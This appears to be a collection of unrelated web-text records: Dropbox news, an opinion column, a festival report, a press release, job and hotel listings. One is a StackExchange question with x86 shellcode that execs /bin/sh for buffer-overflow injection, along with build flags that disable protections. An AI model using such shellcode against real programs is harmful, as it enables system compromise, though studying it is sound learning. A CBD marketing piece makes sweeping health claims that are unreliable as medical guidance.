text:
It looks better
Dropbox rolling out better web document previews
John Callaham 6 years ago
Dropbox is currently rolling out a new update for its web browser users that promises a better preview experience for stored documents. Dropbox says that the improvements will allow documents to load faster and look better while previewed on a web browser such as Chrome on Chrome OS. Here's what users can expect after the changes go live: The biggest change you may notice is...
Dropbox to let you open shared links in iOS app
Joseph Keller 6 years ago 1
Dropbox is now in the process of rolling out a new feature for mobile users that will let you open shared Dropbox links an email or in a browser right in the mobile app for Android and iOS. Opening a link directly in the Dropbox app allows you to get rich previews of documents and images and easily save files. Opening shared links in the Dropbox app is fairly straightforward. On your...
Free up your phone
Recover space on your device with Carousel
Joseph Keller 7 years ago
Dropbox's Carousel app now helps you reclaim space on your device. The app will also make it easier to browse through your older photos with the upcoming Flashback feature. Carousel will allow you to free space on your device when it's running low by removing photos and videos from your device that are already stored in Dropbox. Tap the app's notification that warns you about low...
Dropbox loses files
Dropbox loses uploaded files with file deletion bug
Rich Edmonds 7 years ago 20
Those who rely on Dropbox to store their personal files may have lost some of their data. The service has experienced some issues regarding a bug in older versions of its available desktop apps. This bug deleted files uploaded by affected users who activated the Selective Sync feature, leading some to find they'd lost a large amount of files. Should users shut down (or restart) the...
Dropbox cheapens cloud storage
Dropbox revamps its pricing and storage options
John Callaham 7 years ago 50
Dropbox is cutting the price for 1 TB of their cloud storage the service all the way down to $9.99 a month. The change shows that the company is going after Microsoft's OneDrive and Google Drive's paid cloud storage services. Before today, Dropbox Pro offered just 100 GB of space for $9.99, with an upper limit of 500 GB for $500. Now Dropbox Pro's prices are more in line with similar...
Dropbox teams up with Deutsche Telekom
John Callaham 7 years ago 6
Dropbox has announced a new partnership with the wireless carrier Deutsche Telekom that will see the Android app for the cloud storage service pre-loaded on millions of smartphones in some central and eastern European countries. The deal will begin in October when the Dropbox app will be pre-installed on Android smartphones that are sold by Deutsche Telekom in many countries,...
About that Dropbox DMCA thing ...
Phil Nickinson 7 years ago 63
Dropbox (or any other service) complying with DMCA takedowns isn't really a new thing There's a bit of a to-do this weekend over Dropbox and the DMCA and whether your files are being scanned, even though they're your files. Twitter user Darrell Whitelaw's post is getting shared all over the place, noting that sharing was disabled under some DMCA rules. The folder was private, contained...
Yahoo! Mail adds seamless Dropbox attachments
New attachment functionality rivals Google's Gmail and Drive integration Dropbox and Yahoo! announced today that the companies will be integrating to offer seamless file attachments in the Yahoo! Mail Android app. Unveiled at its "DBX" developers conference, Dropbox and Yahoo! have now teamed up to challenge the added functionality Google offers with Gmail and Google Drive. Users that...
Dropbox releases Sync API to application developers
Jerry Hildenbrand 8 years ago 9
I think most of us are familiar with Dropbox. Around these parts we not only use it, but we rely on it every day by keeping some essential files in one easy to share place. Easy being the key -- you can get a file from any device with a web browser, or use one of the dedicated applications found on most desktop or mobile platforms. But Dropbox is more than a place to share files with...
Dropbox app updated with new photo sharing tools
The Dropbox for Android app just got a nice little update, and now it's even easier to share a photo or a collection of photos with friends and family. The new tools allow you to create albums from any images inside your Dropbox, and share the created albums through the Android intents system. This means any app that could forward a link somewhere -- Twitter, Google+, Facebook, GMail,...
Dropbox app updated with refreshed UI and photo improvements
Andrew Martonik 9 years ago 3
Dropbox is the long standing king of consumer-focused universal cloud storage solutions and it continues to update its Android app with new features and refinements. The latest update -- version 2.2 -- brings a new UI for the entire app and several improvements around managing photos. The blue and white contrast UI is still here but with a more intense blue, with small tab buttons on...
Latest Dropbox beta reveals new features, UI improvements for Nexus 7
The folks at Dropbox are always letting users in on the latest app betas, and they've just dropped a new one on us with a few basic but welcome features. Thumbnails for video files Better video playback for both ICS and Jelly Bean UI improvements on the Nexus 7 Ability to open Dropbox files directly in other apps Various bug fixes Probably the most important item...
Keeping ideas synced while on the go using my Android device
Jared DiPane 9 years ago 24
Lately I have been looking for various ways to refine how I work, the goal is to have things synced to be able to access from various places. Since I am not always at the computer, or the same computer for that matter, it can be difficult to keep my ideas with me all the time, and even more difficult to continue on an idea that I may have already started. Dropbox has proven to be a...
Dropbox for Android updates, folder linking now available
Alex Dobie 9 years ago 3
The Dropbox app for Android (and the related web service and desktop apps) has been updated today with "performance improvements and bug fixes", along with the option to share links to specific files or folders. The idea is to make it easier to make stuff you've uploaded directly accessible by providing a button next to them on the web site and mobile app. If you recognize these new...
Google Drive to launch next week with companion Android app?
Sean Brunett 9 years ago 47
Google Drive has been one of those long rumored products that never seems to be released. Google has been steadily releasing increased functionality to Docs so that you can use it as a cloud drive, but there just isn't a desktop interface like the other competitors such as Dropbox. That all may change next week. According to a variety of sources, including The Next Web and Techcrunch,...
Sync your Instagram photos to Google+ [How-to]
We've had quite a few folks ask about a way to post their Instagram pictures to Google+, and an equal number of methods to do so hit our inbox recently. Because Google+ doesn't yet have a public API (tools programmers need to be able to write apps to do this sort of thing), most of the methods are pretty convoluted -- including this one. But if you can install a few free programs to...
Dropbox referral bonuses doubled for free and paying users
Alex Dobie 9 years ago 20
Cloud storage provider Dropbox has just doubled the referral bonus it gives users for referring friends to the service. Previously Dropbox referrals resulted in a bonus of 250MB for both the referrer and the new sign-up, but from today that's been increased to a more substantial 500MB. Similarly, the maximum amount of storage users can earn through referrals has been upped from 8GB to...
HTC and Dropbox team up to offer 25GB of storage on all Sense 4.0 devices
Bla1ze 9 years ago 11
Along with HTC's announcement of their One series devices, one thing that may have been overlooked while mulling the specs over was their new agreement with Dropbox. Previously, HTC was working with Dropbox to offer folks a free 5GB when using HTC devices but they've now bumped that up to 25GB free for 2-years: Dropbox integrated with HTC Sense - HTC One gives you an easy way to save...
Cloud storage apps - what are they and how do they work?
Dropbox and Box.net have been in the news recently, updating their apps and giving away tons of free space, so it's understandable that a few of us are wondering what the heck they're all about. Sure, you know you get Gigabytes of space, and great looking apps, but what exactly do they do, and how do they work? We're about to tell you! I'll focus on Dropbox here, because that's the...
Dropbox v2.1 now available in the Android Market, automatically upload photos and videos using WiFi
Just in case you skipped out on testing the recent experimental builds of Dropbox from their users forums, you can now head on over to the Android Market and grab the official release. As noted in the change log, they've addressed some bugs from the beta and added some new features as well: Allows you to automatically uploads photos and videos in the background using Wi-Fi or data...


text:
Contributors Latest News | Common Ground Fair | Bangor Metro | Susan Collins | Today's Paper
Want to truly be grateful this holiday season? Give more and live with less.
George Danby | BDN
Cynthia M. Allen, Fort Worth Star-Telegram. The BDN publishes opinions from partner news services to bring a wider variety of perspectives to readers. • December 13, 2019 11:09 am
Lately, I've been thinking a lot about excess.
That's easy to do this time of year, while ruminating on last month's celebrations.
Ostensibly, Thanksgiving is about being grateful for all that we have. Our homes, our lives, our families.
But very practically speaking, for many of us, it's about having too much — too much to eat, too much to drink and, I daresay, too much football to watch.
For many Christians, Thanksgiving also signals the start of the Advent season, which is a time of waiting, marked by prayer and fasting, for the arrival of the Christ child.
By contrast the secular, hypercommercialized launch of the Christmas season is really mostly about shopping in the perpetual quest to obtain all the things.
I opened my email on Thanksgiving evening (an action I immediately regretted), and well before the tryptophan had left my system, I was encouraged to consume even more.
"Ready for dessert?" inquired one retailer's solicitation? "Stores open at 5 p.m."
"Time to go back for seconds!" urged another. "Sale starts tonight!"
But the one that always gets me — the phrase I see repeated over and over throughout the holiday season — is, "Buy more, save more."
The clever marketing strategy, which I admittedly have succumbed to on more than one occasion, promises us a higher percentage of savings the more money we spend.
The invitation for overindulgence is hard to rebuff.
More has become a way of life; we always find room for it. And when we don't, we justify our overindulgence by resolving to give it away.
That's because our modern society has learned to combat with great aplomb the feelings of guilt that stem from our material gluttony.
After all the money spent on Black Friday, Small Business Saturday and Cyber Monday, we have Giving Tuesday, which seeks to direct our holiday expenditures (at least for 24 hours) toward charitable causes and organizations. That isn't a bad thing.
Some retailers even manage to get in the game by donating a percentage of the money spent in stores Tuesday to charitable causes. Guilt-free shopping. It's sheer genius.
To be clear, I am in no way disparaging Giving Tuesday.
Indeed, the holiday season is a beautiful time to make an annual contribution to your favorite charity, to "adopt" a family for Christmas or participate in an angel tree.
Generous giving is an important habit to engage in and an ever-more important one to teach our children.
But for many of us who don't live paycheck to paycheck, who can spend what's necessary to earn an extra 5% discount, it's an easy exercise and sometimes an empty one, especially if that's all we do.
What's much harder than giving more is living with less.
Less material stuff, for sure.
But also less of what's harder to sacrifice, the things we take for granted — heat, warm water, food. It sounds crazy until you try to recall the last time you were truly hungry. The last time you had to take a cold shower.
Because I think to be truly grateful during the holiday season (and all seasons, really) means not only accumulating less stuff, but consciously using less of all the things we forget we have. Doing so would in some small way allow us to experience the poverty of others, instead of only seeking to satisfy it.
Saint Teresa of Calcutta, canonized in 2016 by Pope Francis, was known for this. The members of her order are pledged to a life of poverty and required to beg for their food to bring the sisters in closer union with those they help.
I'm not suggesting we all join the Missionaries of Charity or forever forgo hot showers in lieu of giving to charity.
By all means possible, continue to give to those who need. But remember also that there is virtue in living with less.
All of us would probably increase our appreciation of all that we have by having less. And the holiday season gives us a unique opportunity to see how blessed we truly are and to find ways to share those blessings with others.
Cynthia M. Allen is a columnist for the Fort Worth Star-Telegram.
GEORGE DANBY | EDITORIAL CARTOONIST
Monday, Jan. 20, 2020: Australian wildfires a warning, response to Fuller OpEd, support for Vitelli's bus bill
Putin's power grab
Meghan Markle proved being a princess isn't what it's cracked up to be — especially if you're black
Martin Luther King Jr.'s dream
Soleimani assassination proof that 'checks and balances' don't work

redpajama_set_name: RedPajamaCommonCrawl


text:
Rive Gauche - Festival 27 Settembre 2020 Festival
68 San Sebastian Festival: Viggo Mortensen received the Donostia Award
Viggo Mortensen received the Donostia Award corresponding to the 68th edition of San Sebastian Festival at a gala held in the Kursaal, where the North American actor introduced the feature film Falling, his directorial debut. "I congratulate you for your tremendous luck in continuing to be alive and for the love you show for the cinema by being here", said the honoured guest to the public after receiving the award from the hands of the filmmaker from Madrid, Agustín Díaz Yanes.
Visibly nervous and moved, the actor and director voiced his thanks for a lindo or lovely award reflecting "the long history of the cinema" and its "promise as a manner of creative expression and communication". "When I think of the impressive list of artists who have received the Donostia Award I feel very lucky to be included in that tradition and that promise. I value it in order to continue learning and improving in my profession", he assured.
Mortensen ended with a "reflection" on today's situation. "In one way or another, Covid-19 has screwed us all and will continue to screw us for some time to come, but it is only another stumbling block in our existence. We have always lived with uncertainty, although perhaps we are more aware of that at this time. Uncertainty is the law of life, but don't let us forget that life is a gift. We must continue to forge ahead, accompanying those who are alone and honouring those who are no longer here, doing it the best we can to the best of our imagination", he said before ending in Basque with "Gora Donostia Zinemaldia!" and a resounding "Long live the cinema!"
Posted in Festival and tagged 68 San Sebastian Festival, Donostia Award, Viggo Mortensen. Bookmark the permalink.
Abel Ferrara will show 'Sportin' Life' the surprise film of the San Sebastian Festival's 68th edition
Matt Dillon al Lucca Film Festival Europa Cinema 2020


Hey look, the Teutels are in the news again! It's not another kick in the junk for Paul Sr., though. This time we bring you a story about yet another interchangeable American Chopper bike built by Paul Jr., but one with a special twist. It runs on corn juice.
According to AgWired, a publication dedicated to news from the world of agribusiness, the bike was built for the Renewable Fuels Association as a way to promote the use of E85. The RFA, if you don't know, is a group that represents the ethanol industry by promoting policies, regulations, research, and development to increase the production and use of ethanol fuels.
In case you forgot that this thing runs on ethanol.
This new corn-powered wunderbike was unveiled on June 11, 2018, at a special viewing party with Teutel, RFA Vice President of Industry Relations Robert White, and an assortment of corn and renewable fuels people.
Tech specs for the CornBike (trademark, original title, do not steal, etc. etc.) are pretty scarce, but we can make some observations from the pictures. It, uh, it sure is an American Chopper-style chopper. It has a big v-twin mill (probably an S and S unit), forward controls, open exhausts, pretty standard-looking suspension, tiny brakes—nothing too fancy or flashy or groundbreaking. It's pretty much everything you'd expect from a tryhard Harley-clone chopper made for a corporate lobbying firm.
It pays to advertise, right?
At least the decoration is eye-catching, if a bit corny (see what we did there?) The primary cover features the RFA's logo and doesn't look too bad, and the sheet metal is done in a glossy, metal flake, red white and blue motif with stylized E85 fuel pump nozzles. The horn cover on the bike's left side is a custom shield that reads "Ethanol Fueled With Pride", a design that's repeated over and over again on the rear fender, in the tooled-leather seat, pretty much anywhere Paulie could squeeze it in. If you went and forgot that this thing runs on ethanol, the bike features custom five-spoke billet-looking wheels with ETHANOL stamped into each spoke. Subtle.
So, how hard was it to get the v-twin to sip corn rather than dinosaurs? Not too hard, according to Paul Jr.
The bike is slated to be the centerpiece of the RFA's Fuel Your Knowledge campaign which was designed to educate consumers on the benefits of using ethanol blended fuels in their powersports toys. So, you know, keep your eyes peeled for the CornBike wherever you buy your corn.


You'll be like a living Chris Traeger from Parks n Rec. We only have so much time so we all must allocate energy carefully in where we want to grow and improve.
But what if time is not a variable, but a constant?
In the gym, we have a finite hour (if you come to our gym). That doesn't change. So we don't need to concern ourselves with time allocation if we want to improve, just time management. It's not about addition it's about efficiency. Pulling the strings on our intensity levels on days where we have the opportunity for it to make real sense, like today.
The ten minutes that you have for your work block aren't changing. What you do within those ten minutes is totally up to you.
Audit yourself today. Put your ability to be in discomfort under a microscope and see what you find.


text:
Q: Confused with system call instructions in assembly code I am trying to study code injection through buffer overflows. I want to inject the following code onto the stack:
#include <stdio.h>
void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

I wrote the following assembly instructions corresponding to this.
void main() {
    __asm__("jmp 0x2a\n\t"          // 3 bytes - jumps to last instruction
        "popl %esi\n\t"         // 1 byte - get the return address i.e. address of string in register
        "movl %esi,0x8(%esi)\n\t"   // 3 bytes - push contents on stack for syscall
        "movb $0x0,0x7(%esi)\n\t"   // 4 bytes - push contents on stack for syscall
        "movl $0x0,0xc(%esi)\n\t"   // 7 bytes - push contents on stack for syscall
        "movl $0xb,%eax\n\t"        // 5 bytes - store syscall id 11 to register
        "movl %esi,%ebx\n\t"        // 2 bytes - prepare registers for exec syscall
        "leal 0x8(%esi),%ecx\n\t"   // 3 bytes - prepare registers for exec syscall
        "leal 0xc(%esi),%edx\n\t"   // 3 bytes - prepare registers for exec syscall
        "int $0x80\n\t"         // 2 bytes - actual exec syscall
        "movl $0x1, %eax\n\t"       // 5 bytes - prepare registers for exit syscall in case exec fails
        "movl $0x0, %ebx\n\t"       // 5 bytes - prepare registers for exit syscall
        "int $0x80\n\t"         // 2 bytes - exit syscall
        "call -0x2f\n\t"        // 5 bytes - jumps to second instruction pushing the address of string "/bin/sh" on the stack.
        ".string \"/bin/sh\"\n\t"); // 8 bytes
}

On compiling the above program via

gcc shellcodeasm.c -m32 -g -o shellcode -fno-stack-protector -z execstack -static

and

running objdump -S shellcode

I get the following dump for main:
08048e24 <main>:
void main() {
 8048e24:       55                      push   %ebp
 8048e25:       89 e5                   mov    %esp,%ebp
        __asm__("jmp 0x2a\n\t"                  // 3 bytes - jumps to second last instruction
 8048e27:       e9 fe 71 fb f7          jmp    2a <data.8998+0x6>
 8048e2c:       5e                      pop    %esi
 8048e2d:       89 76 08                mov    %esi,0x8(%esi)
 8048e30:       c6 46 07 00             movb   $0x0,0x7(%esi)
 8048e34:       c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
 8048e3b:       b8 0b 00 00 00          mov    $0xb,%eax
 8048e40:       89 f3                   mov    %esi,%ebx
 8048e42:       8d 4e 08                lea    0x8(%esi),%ecx
 8048e45:       8d 56 0c                lea    0xc(%esi),%edx
 8048e48:       cd 80                   int    $0x80
 8048e4a:       b8 01 00 00 00          mov    $0x1,%eax
 8048e4f:       bb 00 00 00 00          mov    $0x0,%ebx
 8048e54:       cd 80                   int    $0x80
 8048e56:       e8 76 71 fb f7          call   ffffffd1 <_end+0xf7f14ccd>
 8048e5b:       2f                      das
 8048e5c:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8048e5f:       2f                      das
 8048e60:       73 68                   jae    8048eca <__libc_start_main+0x5a>
 8048e62:       00 5d c3                add    %bl,-0x3d(%ebp)
 8048e65:       66 90                   xchg   %ax,%ax
 8048e67:       66 90                   xchg   %ax,%ax
 8048e69:       66 90                   xchg   %ax,%ax
 8048e6b:       66 90                   xchg   %ax,%ax
 8048e6d:       66 90                   xchg   %ax,%ax
 8048e6f:       90                      nop

Every instruction is as expected except the first jmp and last call instructions. I expected the jmp instruction to jump to the call instruction but that is not happening. Instead its argument is showing something else 2a  data.8998+0x6 which I don't understand. Please tell me where I am wrong. Also help with with what I should do to make it work.

redpajama_set_name: RedPajamaStackExchange


text:
The appeal? Proponents claim CBD can help ease pain, anxiety, depression and stress, boost focus and productivity, improve the immune system, reduce inflammation and more. And – unlike its psychoactive cousin THC – CBD, they say, is harmless, legal and can't get you high. "The known is it's good for you, it helps a lot of people and a lot of things, and you can't hurt yourself," says Phil Asquith, a farmer and producer of extra-virgin olive oil in California, who founded one of the first companies in the CBD space. "The unknown is all the details."
With the rapid rise in the popularity of CBD in everything from vape juice to lattes, many people are asking- "what is CBD oil?". To answer that question, let's first answer the question- what is CBD? CBD, short for cannabidiol, is a compound found in hemp plants. CBD's benefits are numerous, making it a popular supplement. We'll explore the effects of CBD oil in more depth below, but in short, it interacts with receptors that keep the body balanced and running normally.
Yes: CBD extracts can't always be trusted. A 2017 JAMA paper reported that almost 70 percent of all CBD products sold online do not contain the amount of CBD stated on the label. Of the 84 products bought from 31 different companies, 42 percent contained a higher concentration of CBD oil than the label claimed, and 26 percent of the products contained less than the label claimed. The remainder of products contained the labeled amount—give or take 10 percent.
There's also the question of CBD's legality – something that's a lot grayer than the black-and-white picture most companies paint. The U.S. Drug Enforcement Administration considers CBD, like all cannabinoids, a schedule 1 drug. That means it's just as illegal as heroin and ecstasy. Meanwhile, hemp – a variety of the cannabis plant regulated by the U.S. Department of Agriculture – is legal , so long as its THC content is negligibly low. But because the agriculture department doesn't test for CBD – only THC – in hemp, more companies are getting away with selling products they say contain CBD, says Sara Jane Ward, an assistant professor of pharmacology at the Temple University Lewis Katz School of Medicine who's been studying CBD in rodent models for more than 10 years. Needless to say, the legality of CBD is "very confusing and very gray," she says.
CBD isolate is pure CBD, extracted and purified until none of the plant's other constituent compounds remain. It has been isolated down to just the CBD molecule. This purity and potency is why it's the preferred treatment for patients needing unadulterated doses of CBD and nothing else. It has no other active ingredients and its purpose is simply to deliver therapeutic doses of CBD. CBD isolate products often come as a white powder or a mix with a oil.
On a molecular level, all classes of cannabinoid are derived from the cannabinoid cannabigerol (CBG). Cannabinoids are changed from their original acid forms by decarboxylation through heat, light, or alkaline conditions, allowing them to interact fully with the endocannabinoid system. Learn more about all the cannabinoids found in our full spectrum hemp oil below:
'I recommend starting with a low dose and slowly building up over a few weeks, to find the dose that works best for you,' agrees Dr Brewer. 'For example, start with Healthspan High Strength CBD Oil 6.4mg Capsules, taking one to three daily. Then, if needed, move up to Super Strength CBD 15mg Capsules, taking one to two daily. CBD is not psychoactive and is not addictive. I prefer capsules, as CBD drops have a strong taste, although filter-clear peppermint flavoured drops are available.'
Our bodies are thought to produce endocannabinoids by the billions every day. "We always thought the 'runner's high' was due to the release of dopamine and endorphins. But now we know the euphoria is also from an endocannabinoid called anandamide," its name derived from the Sanskrit word for bliss, says Joseph Maroon, M.D., clinical professor and vice chairman of neurosurgery at the University of Pittsburgh Medical Center. We produce these natural chemicals all day, but they fade quickly because enzymes pop up to destroy them. That's where CBD comes in: By blocking these enzymes, CBD allows the beneficial compounds to linger. This is why Amanda Oliver, 31, a career consultant in Charleston, SC, pops a CBD gummy bear each night before bed. "I used to lie there tossing and turning as my mind raced from work projects to whether I had set the home alarm," Oliver says. One piece of candy with 15 mg of CBD is enough to shut off her brain and facilitate sleep. She also swears by the CBD oil she takes at the height of her period, which she says quells her debilitating cramps.
Disclosure of Material connection: Some of the links in the post above are "associate sales links." This means if you can click on the link and purchase an item, we will receive a commission. Regardless, we only recommend products or services which we use personally and/or believe will add value to our readers. We are disclosing this in accordance with the Federal Trade Commission's 16 CFR, Part 255: "Guides Concerning the Use of Endorsements and Testimonials."
In terms of how CBD is extracted from the cannabis plant, there a few different techniques that can be used. The most popular used to be by running harsh chemicals like butane (lighter fluid) or hexane over the raw plant material, but people quickly found out that this resulted in trace amounts of carcinogenic compounds (like formaldehyde) being left over in the end product. Not good.
With the variety of CBD concentrations and other compounds that hemp offers, full spectrum CBD products can cover all ground. If we were to directly compare the two, scientists point out that full spectrum CBD works with the endocannabinoid system entirely. Isolate products, such as crystal, the highest quality cannabidiol and natural ingredients, and will deliver the most amount of CBD to your system at once. Ultimately, preference is subjective to the user's condition and system.
ISA HERRERA HEARD IT from her patients first. "I have less pain." "I'm having less anxiety." "My menstrual cramps are less intense," they told the New York City physical therapist about taking CBD oil, a product containing cannabidiol, one of many chemicals found in the cannabis plant. "I was like, 'I need to find out more about this,'" recalls Herrera, who specializes in integrative pelvic floor therapies.
CBD and THC interact with our bodies in a variety of ways. One of the main ways they impact us is by mimicking and augmenting the effects of the compounds in our bodies called "endogenous cannabinoids" - so named because of their similarity to the compounds found in the cannabis plant. These "endocannabinoids" are part of a regulatory system called the "endocannabinoid system".
Miller, whose clients include patients referred by physicians, uses CBD in a variety of delivery modalities that she has found effective. "Patches can be worn for pain or anxiety management. Capsules or concentrated drops can be taken orally for pain, inflammation, sleep, and anxiety. Balms and creams can be used on the hands and feet to manage arthritic pain. Vaping is another delivery method," she says.
Everything you need to know about marijuana (cannabis) Marijuana, or cannabis, is the most commonly used illicit drug in the world. It alters the mood and affects nearly every organ in the body. With at least 120 active compounds, marijuana may have health benefits as well as risks. We describe these, addiction, and withdrawal. Learn more about cannabis here. Read now


text:
BNY Mellon Wealth Management Names Matthew Santangelo as New England Regional Head of Client Strategy and Business Development
BNY Mellon Wealth Management Names Matthew Santangelo as New England Regional
Head of Client Strategy and Business Development in Boston, MA
BOSTON, Sept. 29, 2020
BOSTON, Sept. 29, 2020 /PRNewswire/ -- BNY Mellon Wealth Management has
appointed Matthew Santangelo as New England Regional Head of Client Strategy
and Business Development. In this role, he will lead sales, driving growth and
new business across the region. Based in Boston, Matt reports directly to
Vicary Graham, President of the New England Region.
Matt joins BNY Mellon Wealth Management from Northern Trust where he was a
Senior Wealth Strategist, focused on providing wealth structuring advice to
the firm's ultra-high-net-worth clients and prospects. Prior to joining
Northern Trust in 2011, Matt spent nearly 15 years at Merrill Lynch as a
Senior Trust & Estate Specialist. Earlier in his career, he worked at Merrill
Lynch Trust Company as a Personal Trust Administration Officer and at Bessemer
Trust as a Trust Administrator for the Client Relationship Management Group.
"Matt brings to this role his deep experience in providing holistic wealth
structuring and investment advice to ultra-high-net-worth clients, which is
aligned with BNY Mellon's Active Wealth approach to consider the needs-based
goals of wealthy investors," said Graham. "This mindset will support his work
in driving the growth of the New England Region and our Wealth Management
business."
After graduating from Skidmore College, where he earned a Bachelor's degree in
Government and Spanish, Matt was commissioned as an officer in the United
States Navy as a Surface Warfare Officer onboard a guided missile destroyer,
as well as other commands, afloat and ashore.
Matt holds the Certified Trust & Financial Advisor (CTFA) and Trust & Estate
Practitioner (TEP) certifications, and he is actively engaged with many
community organizations, such as The Steppingstone Foundation, U.S. Naval War
College Foundation, the USS CONSTITUTION Museum, Boston Estate Planning
Council, and Estate Planning Council of Rhode Island. He also served on the
committee that drafted the present Massachusetts Trust Code.
ABOUT BNY MELLON WEALTH MANAGEMENT
For more than two centuries, BNY Mellon Wealth Management has provided
services to financially successful individuals and families, their family
offices and business enterprises, planned giving programs, and endowments and
foundations. It has $254 billion in total client assets, as of June 30, 2020,
and an extensive network of offices in the U.S. and internationally. BNY
Mellon Wealth Management, which delivers leading wealth advice across
investments, banking, custody, and wealth and estate planning, conducts
business through various operating subsidiaries of The Bank of New York Mellon
Corporation. For more information, visit www.bnymellonwealth.com or follow us
on Twitter @BNYMellonWealth.
ABOUT BNY MELLON
BNY Mellon is a global investments company dedicated to helping its clients
manage and service their financial assets throughout the investment
lifecycle. Whether providing financial services for institutions, corporations
or individual investors, BNY Mellon delivers informed investment and
wealth management and investment services in 35 countries. As of June 30,
2020, BNY Mellon had $37.3 trillion in assets under custody and/or
administration, and $2.0 trillion in assets under management. BNY Mellon can
act as a single point of contact for clients looking to create, trade, hold,
manage, service, distribute or restructure investments. BNY Mellon is the
corporate brand of The Bank of New York Mellon Corporation (NYSE:
BK). Additional information is available on www.bnymellon.com. Follow us on
Twitter @BNYMellon or visit our newsroom at www.bnymellon.com/newsroom for the
latest company news.
Rich Stanton
Cision View original
content:http://www.prnewswire.com/news-releases/bny-mellon-wealth-management-names-matthew-santangelo-as-new-england-regional-head-of-client-strategy-and-business-development-in-boston-ma-301140022.html
SOURCE BNY Mellon Wealth Management
Website: http://www.bnymellon.com
Before it's here, it's on the Bloomberg Terminal.
business developmentBNY Business Client Development England management Matthew Mellon Names Regional Santangelo Strategy Wealth
IKOULA Strengthens Its Presence in Europe, by Launching Its Professional Solutions on Romanian and Portuguese Markets
New Executive Vision for Atlas AI to Deliver Unparalleled Insight into Global Economic Development
Developing Credit Union Business in the Age of COVID


text:
Andy Schwab
Andy Schwab grew up in Powell, WY on a small farm that produced race horses while he was a kid. He learned to ride...
Bernadete Jensen
Born and raised in Billings, Bernadete has been with Northern Broadcasting as the Traffic Manager since January of 2018. As the face of the...
Denise Smith has a mixture of life experiences and education that gives her awareness of how to assist in making her hometown of Billings...
Leif Bakken
Leif grew up on his family's farm and ranch north of Lemmon, South Dakota in Southwestern North Dakota. He went to school in Lemmon...
Amelia Siroky
Amelia was raised near Red Lodge, MT and was actively involved in many extra-curricular programs. She got the most joy out of 4-H and...
Colter Brown
Currently the Ag Director of the Northern Ag Network, Colter Brown began his broadcast career in 2009 as a summer intern for its parent...
Taylor Brown
President...
News Director...
Augie Aga
Director of Sales and Marketing...
Courtney Kibblewhite
Vice President...


Headway Workforce Solutions is currently seeking a Process Assistant I for a contract opportunity in Akron, OH with one of the nation's largest producers and transporters of energy. This is a great opportunity to develop your skills and experience with an industry leader currently operating the nation's largest natural gas storage system.
Under direct supervision, this role performs entry-level clerical and administrative duties that support specific workflow or phase within a business process.
Performs routine and repetitive tasks to support transaction of a part(s) of a business process.
Follows established policy and procedures and detailed instructions in the performance of duties.
With limited discretion, work is closely monitored and checked.
Duties include: opening and processing mail remittance, posting data, compiling records and reports in predetermined format, maintains and prepares simple reports and charts, performing simple calculations, etc.
Performs general alphabetic and numeric filing, sorting and cross-referencing.
Maintains and updates files, records and logs according to established procedures.
Basic understanding of the operation of computerized and function-related equipment to record, store and retrieve information.
Ability to manage multiple activities and resources.
Basic personal computer skills including using spreadsheet and word processing applications.


text:
Les élections législatives françaises de 2017 se déroulent les  et . Dans le département de la Haute-Corse, deux députés sont à élire dans le cadre de deux circonscriptions.

Élus

Rappel des résultats départementaux des élections de 2012

Résultats

Résultats à l'échelle du département

Résultats par circonscription

Première circonscription
Député sortant : Sauveur Gandolfi-Scheit (Les Républicains).

Deuxième circonscription
Député sortant : Paul Giacobbi (Divers gauche).

Notes et références

Articles connexes
 Liste des circonscriptions législatives de la Haute-Corse
 Liste des députés de la Haute-Corse
 Élections législatives françaises de 2017

Haute-Corse
Législatives, 2017

redpajama_set_name: RedPajamaWikipedia


The current close value 436.2 is between the support and resistance channel of 416 and 445. The stock has a Observe Signal , 416 becomes a critical support to stop the fall and 445 is a immediate resistance on the upside. Note that in case of a Observe Signal, the stocks tends to change trends. This happens mostly near the support and resistance levels.
Historical prices for Repco Home Finance Limited (REPCOHOME) (ISIN: INE612J01015) National Stock Exchange of India.
Repco Home Finance Limited has Observe Signal. What is your opinion on it?


Hoteller i nærheden af Geiger's Marine Services Inc.
Et dejligt rent rimelig motel. Jeg løb min sportsvogn på Watkins Glen International Road der flere gange om året. Under mit sidste besøg min bil vil ikke starte i morgen, Mike hjulpet vha. startkabler og fik mig hen. Jeg kommer tilbage!
TWO flat pillows. That is NOT a queen size bed. its a double.
large bathroom, No heat. few amenities. You can't see it, but the soap dish is moldy wicker.
large bathroom, but not heated.
I would like to cancel my reservation for Sept. 1 thru 4. Mechanical difficulties prevent me from making the trip.
Contact Mike at the hotel directly at: 607-535-7262 Do it immediately!
Do you permit dogs? We have two small ones they sleep in crate !


New art (in the gallery below) and a fourth team member were revealed today for Cullen Bunn's Fearless Defenders Marvel NOW! series, due out in February.
A lot of questions have been asked about who would be on the nine all female team. Three of those characters, Valkyrie, Misty Knight, and Dani Moonstar have already been known as the main trio that will be focused on in the story's plot.
Some of those questions about other team members were answered during a Marvel Liveblog.
While preview art from Sliney on issue one helped to make readers more familiar with this new status quo, the big surprise came from detailed information about whom the mystery woman was on the cover of issue #3. Hippolyta is back, as a hero and with a new name, Warrior Woman. Assistant editor Ellie Pyle said it was a name Hippolyta will be going by, "whether she wants to or not." This type of comment lends itself to a type of anti-hero set up, since Hippolyta was not a hero when she was killed in the Marvel universe.
So there you have it. Looking at Sliney's art for the book, I'm rather excited to read it, although I'm not sure if the addition of Warrior Woman is something to be excited about. I'll have to go more off of how Bunn uses her in the book, instead of the vixen cover art designed to appeal more to the "core audience" Marvel usually appeals to.
She does look pretty hot.
A friend persuaded me to try this book and I'm hooked! A well written, well drawn adventure comic. If I could only buy 5 comics a month, this would be one of them.


Main Line Today recently released the 2013 ?Best of the Main Line & Western Suburbs? awards as voted on by readers. There were three ?Best Of? categories applicable to local high schools ? athlete, coach and sports team ? and the Lower Merion High School varsity boys basketball team made it a clean sweep. ?Best High School Sports Team? went to the Aces following another banner year in which the team won the state title and completed a second consecutive undefeated run through the Central League. Syracuse-bound senior B.J. Johnson, a two-time Central League MVP and 1st Team Team All-State honoree, claimed ?Best Athlete? honors. LM head coach Gregg Downer, the 2013 PIAA Coach of the Year was named ?Best Coach.?


For over 25 years, Thatcher has been helping a diverse set of enterprise customers solve complex IT problems. Since joining Microsoft more than 10 years ago, he has played role in leading the company's Federal Civilian sales, working with many Federal agencies. Thatcher received his bachelor's degree from Old Dominion University, where he was a NCAA Division 1 athlete.


text:
